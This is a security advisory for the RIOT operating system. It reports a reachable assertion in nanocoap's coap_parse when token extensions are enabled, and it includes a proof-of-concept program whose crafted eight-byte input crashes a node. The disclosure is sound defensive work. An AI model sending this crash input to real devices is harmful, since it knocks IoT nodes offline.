Skip to content

coap_parse: Reachable failing assertion with nanocoap_token_ext

Low
Teufelchen1 published GHSA-24xc-8pw5-jj74 Apr 20, 2026

Package

RIOT

Affected versions

>2023.07

Patched versions

None

Description

Summary

With USEMODULE += nanocoap_token_ext, the coap_parse function contains a reachable failing assertion which can be triggered by a malicious attacker with a crafted input. When assertions are enabled, it will enable a denial-of-service by crashing the RIOT node. I have not investigated what happens if assertions are disabled.

Details

If nanocoap_token_ext is enabled coap_hdr_tkl_ext_len contains an assertion ala. assert(hdr->ver_t_tkl & 0x0f != 15):

case 15:
assert(0);
/* fall-through */

This invariant is enforced by the coap_is_hdr_in_bounds function:

if ((coap_get_udp_hdr_const(pkt)->ver_t_tkl & 0x0f) == 15) {
return false;
}

However, in coap_parse_udp the coap_is_hdr_in_bounds function is called after coap_hdr_tkl_ext_len is first invoked:

uint8_t *pkt_pos = coap_hdr_data_ptr(hdr);
uint8_t *pkt_end = buf + len;
pkt->payload = NULL;
pkt->payload_len = 0;
memset(pkt->opt_crit, 0, sizeof(pkt->opt_crit));
pkt->snips = NULL;
if (!coap_is_hdr_in_bounds(pkt, len)) {

Because coap_hdr_tkl_ext_len is reachable indirectly via coap_hdr_data_ptr:

static inline uint8_t *coap_hdr_data_ptr(const coap_udp_hdr_t *hdr)
{
return ((uint8_t *)hdr) + sizeof(coap_udp_hdr_t) + coap_hdr_tkl_ext_len(hdr);
}

PoC

$ cat examples/basic/hello-world/Makefile
APPLICATION = hello-world
BOARD ?= native
RIOTBASE ?= $(CURDIR)/../../..
DEVELHELP ?= 1

USEMODULE += gnrc_udp
USEMODULE += gnrc_ipv6
USEMODULE += nanocoap
USEMODULE += nanocoap_token_ext

QUIET ?= 1

include $(RIOTBASE)/Makefile.include
$ cat examples/basic/hello-world/main.c
#include <stdint.h>
#include <net/nanocoap.h>

#define INPUT_SIZE 8

int main(void)
{
    coap_pkt_t pkt;
    uint8_t buf[INPUT_SIZE] = {0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f};

    coap_parse(&pkt, buf, sizeof(buf));
    return 0;
}
$ make BOARD=native64 -C examples/basic/hello-world/
$ ./examples/basic/hello-world/bin/native64/hello-world.elf
RIOT native interrupts/signals initialized.
TZ not set, setting UTC
RIOT native64 board initialized.
RIOT native hardware initialization complete.

main(): This is RIOT! (Version: 2026.07-devel-11-gb0b3d)
sys/include/net/nanocoap.h:721 => FAILED ASSERTION.

Impact

Denial of service.

Introduced in 660c77e.
Discovered through symbolic execution using KLEE.

Severity

Low

CVE ID

No known CVE

Weaknesses

Reachable Assertion

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary. Learn more on MITRE.

Credits